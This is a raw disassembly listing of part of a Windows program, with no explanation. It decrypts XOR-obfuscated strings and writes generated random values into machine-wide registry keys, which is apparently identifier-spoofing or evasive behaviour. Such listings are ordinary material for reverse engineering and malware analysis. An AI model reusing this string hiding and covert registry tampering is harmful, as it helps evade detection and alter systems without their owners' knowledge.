movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1e80
cmp r8d, 0x11
jge 0x1400c1fc0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c1f90
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r15
jae 0x1400c2001
lea rax, [rsi + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r15, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c2019
lea rcx, [rbp - 0x50]
call fcn.140060700
movups xmm4, xmmword [0x140172988]
movzx r12d, byte [0x140172998]
inc edi
cmp edi, 0x19
jge 0x1400c202d
mov r15, qword [rbp - 0x38]
mov rsi, qword [rbp - 0x40]
jmp 0x1400c1e00
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.1400622e0
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.1400622e0
lea r10, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r10, qword [rbp - 0x50]
movups xmm0, xmmword [0x1401736c0]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x1401736d0]
mov dword [rsp + 0x50], eax
cmp byte [0x1401736d3], 0
je 0x1400c2210
mov r8d, ebx
cmp r13d, 2
jl 0x1400c21d5
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c20d0
cmp r8d, 0x14
jge 0x1400c2210
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400c21e0
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c223f
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d700
nop
lea rcx, [rbp - 0x30]
call fcn.14003d700
movsd xmm0, qword [0x140173478]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140173480]
mov dword [rbp - 0x68], eax
cmp byte [0x140173483], 0
je 0x1400c23d0
mov r8d, ebx
cmp r13d, 2
jl 0x1400c238c
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173478]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c23a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x70]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400c23f0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140059140
nop
mov eax, dword [0x140173848]
mov dword [rbp - 0x70], eax
movzx ecx, word [0x14017384c]
mov word [rbp - 0x6c], cx
movzx eax, byte [0x14017384e]
mov byte [rbp - 0x70], 0x52
xor byte [rbp - 0x6f], 0x36
xor byte [rbp - 0x6e], 0x37
xor byte [rbp - 0x6d], 0x38
xor cl, 0x39
mov byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], 0x3a
xor al, 0x3b
mov byte [rbp - 0x6a], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp - 0x70]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400c2455
mov r8, rdi
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.140059140
movups xmm0, xmmword [0x140172d48]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140172d58]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140172d60]
mov byte [rsp + 0x58], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c25d5
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c24d0
cmp r8d, 0x19
jge 0x1400c2610
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400c25e0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r11d, dword [rbp - 0x40]
inc r11d
lea r10, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r10, qword [rbp - 0x50]
movsd xmm0, qword [str.qSD_KSKHTQQ_]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140174090]
mov dword [rbp - 0x68], eax
cmp byte [0x140174093], 0
je 0x1400c27c0
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2778
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qSD_KSKHTQQ_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c2790
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r11d, dword [rbp - 0x20]
inc r11d
lea r10, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r10, qword [rbp - 0x30]
movsd xmm0, qword [str.exgLR_Xw_]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x1401737b8]
mov dword [rbp - 0x68], eax
cmp byte [0x1401737bb], 0
je 0x1400c2960
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2922
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.exgLR_Xw_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c2930
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
call fcn.14003d700
nop
lea rcx, [rbp - 0x50]
call fcn.14003d700
movups xmm0, xmmword [0x1401722a0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1401722b0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1401722c0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1401722d0]
movups xmmword [rbp], xmm1
mov eax, dword [0x1401722e0]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1401722e4]
mov word [rbp + 0x14], ax
movzx eax, byte [0x1401722e6]
mov byte [rbp + 0x16], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2b25
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c2a20
cmp r8d, 0x47
jge 0x1400c2b60
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x1400c2b30
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c2ba0
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov rsi, rbx
mov qword [rbp + 0x30], rbx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], sil
mov edi, ebx
movzx r15d, byte [0x140172998]
movups xmm4, xmmword [0x140172988]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c2c33
cmp edi, 0x18
je 0x1400c2c33
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x20]
call fcn.140058cc0
jmp 0x1400c2e0a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r15b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2d85
movdqa xmm6, xmmword [0x140175f00]
movdqa xmm5, xmmword [0x1401761d0]
movdqa xmm7, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2c80
cmp r8d, 0x11
jge 0x1400c2dc0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c2d90
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r12
jae 0x1400c2e01
lea rax, [rsi + 1]
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x20]
cmp r12, 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c2e19
lea rcx, [rbp + 0x20]
call fcn.140060700
movups xmm4, xmmword [0x140172988]
movzx r15d, byte [0x140172998]
inc edi
cmp edi, 0x19
jge 0x1400c2e2d
mov r12, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x30]
jmp 0x1400c2c00
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.1400622e0
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400622e0
lea rsi, [rbp + 0x20]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x38]
cmp r8, 0xf
cmova rsi, rdx
lea r15, [rbp + 0x20]
cmova r15, rdx
add r15, qword [rbp + 0x30]
lea rdi, [rbp + 0x20]
cmp r8, 0xf
cmova rdi, rdx
cmp rdi, r15
je 0x1400c2eac
sub rsi, rdi
nop dword [rax]
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rdi + rsi], al
inc rdi
cmp rdi, r15
jne 0x1400c2e90
mov r8, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x20]
mov edi, dword [rbp + 0x30]
lea rcx, [rbp + 0x20]
mov eax, dword [0x140173dbc]
mov dword [rbp - 0x70], eax
movzx eax, word [0x140173dc0]
mov word [rbp - 0x6c], ax
cmp r8, 0xf
ja 0x1400c2ed0
mov rdx, rcx
mov byte [rbp - 0x70], 0x41
xor byte [rbp - 0x6f], 0x36
xor byte [rbp - 0x6e], 0x37
xor byte [rbp - 0x6d], 0x38
xor byte [rbp - 0x6c], 0x39
xor byte [rbp - 0x6b], 0x3a
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c2f13
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r10, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova r10, qword [rbp + 0x20]
mov rax, qword [str.c_S_Vs]
mov qword [rbp - 0x70], rax
cmp byte [str._gWYVW_], 0
je 0x1400c3080
cmp r13d, 2
jl 0x1400c303b
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x70]
xorps xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
jmp 0x1400c3080
lea r9, [rbp - 0x70]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c3050
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
